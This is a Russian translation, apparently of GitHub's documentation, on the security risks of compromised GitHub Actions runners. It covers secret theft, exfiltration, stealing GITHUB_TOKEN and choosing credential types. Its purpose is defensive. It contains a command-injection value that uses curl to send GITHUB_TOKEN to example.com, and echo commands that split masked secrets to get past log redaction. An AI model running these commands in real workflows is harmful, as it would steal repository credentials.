Скомпрометированные бегуна

Ознакомьтесь с рисками безопасности, связанными с скомпрометированные GitHub Actions средства выполнения.

В этой статье

Потенциальное влияние скомпрометированного средства выполнения тестов

В этих разделах рассматриваются некоторые действия, которые злоумышленник может предпринять, если они смогут выполнять вредоносные команды в средстве GitHub Actions выполнения.

Доступ к секретам

Рабочие процессы, активированные из вилированного репозитория с помощью pull_request события, имеют разрешения только для чтения и не имеют доступа к секретам. Однако эти разрешения отличаются для различных триггеров событий, таких как issue_comment, issues``pushи pull_request из ветви в репозитории, где злоумышленник может попытаться украсть секреты репозитория или использовать разрешение на запись заданияGITHUB_TOKEN.

  • Если для секрета или маркера задана переменная среды, прямой доступ к нему можно получить через окружение с помощью printenv.

  • Если секрет используется непосредственно в выражении, созданный сценарий оболочки хранится на диске и является доступным.

  • Для пользовательского действия риск может варьироваться в зависимости от того, как программа использует секрет, полученный из аргумента:

    uses: fakeaction/publish@v3
with:
    key: ${{ secrets.PUBLISH_KEY }}

Хотя GitHub Actions скрубирует секреты из памяти, на которые не ссылается рабочий процесс (или включенное действие), GITHUB_TOKEN все указанные секреты могут быть собраны определенным злоумышленником.

Извлечение данных из средства выполнения тестов

Злоумышленник может получить все украденные секреты или другие данные от средства выполнения тестов. Чтобы предотвратить случайное раскрытие секретов, автоматически отредактировать секреты,GitHub Actions напечатанные в журнале, но это не истинная граница безопасности, так как секреты могут быть намеренно отправлены в журнал. Например, скрытые секреты можно перенести с помощью echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};. Кроме того, так как злоумышленник может выполнять произвольные команды, он может использовать HTTP-запросы для отправки секретов или других данных репозитория на внешний сервер.

Кража GITHUB_TOKEN задания

Злоумышленник может украсть GITHUB_TOKEN задания. Средство GitHub Actions выполнения автоматически получает созданный GITHUB_TOKEN с разрешениями, ограниченными только репозиторием, содержащим рабочий процесс, и срок действия маркера истекает после завершения задания. После истечения срока действия токен больше ничем не поможет злоумышленнику. Чтобы обойти это ограничение, злоумышленники могут автоматизировать атаку и выполнить ее в доли секунды путем вызова управляемого злоумышленником сервера с токеном, например: a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;#.

Изменение содержимого репозитория

Злоумышленник может использовать GitHub API для изменения содержимого репозитория, включая выпускиGITHUB_TOKEN, если назначенные разрешения не ограничены.

Доступ между репозиторием

GitHub Actions намеренно ограничивается для одного репозитория одновременно. GITHUB_TOKEN предоставляет тот же уровень доступа, что и у пользователя с доступом на запись, так как любой пользователь с доступом на запись может получить доступ к этому токену, создав или изменив файл рабочего процесса, повышая разрешения GITHUB_TOKEN, если есть необходимость. У пользователей есть определенные разрешения для каждого репозитория, поэтому предоставление GITHUB_TOKEN одному репозиторию доступа к другому может повлиять GitHub на модель разрешений, если она не реализована тщательно. Аналогичным образом следует соблюдать осторожность при добавлении GitHub маркеров проверки подлинности в рабочий процесс, так как это также может повлиять на GitHub модель разрешений, непреднамеренно предоставляя широкий доступ к участникам совместной работы.

Если ваша организация принадлежит корпоративной учетной записи, вы можете предоставить общий доступ и повторно использовать GitHub Actions их, сохраняя их во внутренних репозиториях. Дополнительные сведения см. в разделе Совместное использование действий и рабочих процессов с вашим предприятием.

Вы можете выполнять другие привилегированные взаимодействия между репозиториями, ссылаясь на GitHub маркер проверки подлинности или ключ SSH в качестве секрета в рабочем процессе. Так как многие типы токенов проверки подлинности не обеспечивают детальный доступ к определенным ресурсам, существует значительный риск при использовании неправильного типа токена, потому что он может предоставить гораздо более широкий доступ, чем предполагалось.

В этом списке описаны рекомендуемые подходы по доступу к данным репозитория в рамках рабочего процесса в порядке убывания предпочтения:

  1. Токен GITHUB_TOKEN
    • Этот токен намеренно привязан к одному репозиторию, вызвавшему рабочий процесс, и может иметь тот же уровень доступа, что и пользователь доступа на запись в репозитории. Токен создается перед началом каждого задания и истекает по его завершении. Дополнительные сведения см. в разделе Использование GITHUB_TOKEN для проверки подлинности в рабочих процессах.
    • GITHUB_TOKEN следует использовать всякий раз, когда это возможно.
  2. Ключи развертывания репозитория
    • Ключи развертывания — это один из немногих типов учетных данных, которые предоставляют доступ на чтение или запись к одному репозиторию и могут использоваться для взаимодействия с другим репозиторием в рамках рабочего процесса. Дополнительные сведения см. в разделе Управление ключами развертывания.
    • Обращаем ваше внимание на то, что ключи развертывания могут клонировать и отправлять их в репозиторий с помощью Git и не могут использоваться для взаимодействия с REST API или API GraphQL, поэтому они могут не соответствовать вашим требованиям.
  3. ** GitHub App токены**
  4. ** personal access tokens**
    • Никогда не следует использовать personal access token (classic). Эти токены предоставляют доступ ко всем репозиториям внутри организаций, к которым у вас есть доступ, а также ко всем личным репозиториям в вашем личном кабинете. Это косвенно предоставляет широкий доступ всем пользователям с доступом на запись в репозитории, в котором находится рабочий процесс.
    • Если вы используете ее personal access token, вы никогда не должны использовать personal access token собственную учетную запись. Если позже вы покидаете организацию, рабочие процессы, использующие этот маркер, немедленно прерывают работу, и отладка этой проблемы может оказаться сложной. Вместо этого следует использовать fine-grained personal access token новую учетную запись, которая принадлежит вашей организации, и она предоставляет доступ только к определенным репозиториям, необходимым для рабочего процесса. Обратите внимание, что этот подход не является масштабируемым и его следует избегать в пользу альтернативных вариантов, таких как развертывание ключей.
  5. Ключи SSH в личной учетной записи
    • Для рабочих процессов никогда не следует использовать ключи SSH в личной учетной записи. personal access tokens (classic)Аналогично, они предоставляют разрешения на чтение и запись всем личным репозиториям, а также всем репозиториям, к которым вы имеете доступ через членство в организации. Это косвенно предоставляет широкий доступ всем пользователям с доступом на запись в репозитории, в котором находится рабочий процесс. Если вы собираетесь использовать ключ SSH, потому что вам нужно только выполнять клонирование или отправку репозитория и не нужно взаимодействовать с общедоступными API, вместо этого вам следует использовать отдельные ключи развертывания.

Следующие шаги

Рекомендации по обеспечению безопасности см. в GitHub Actionsразделе Справочник по безопасному использованию.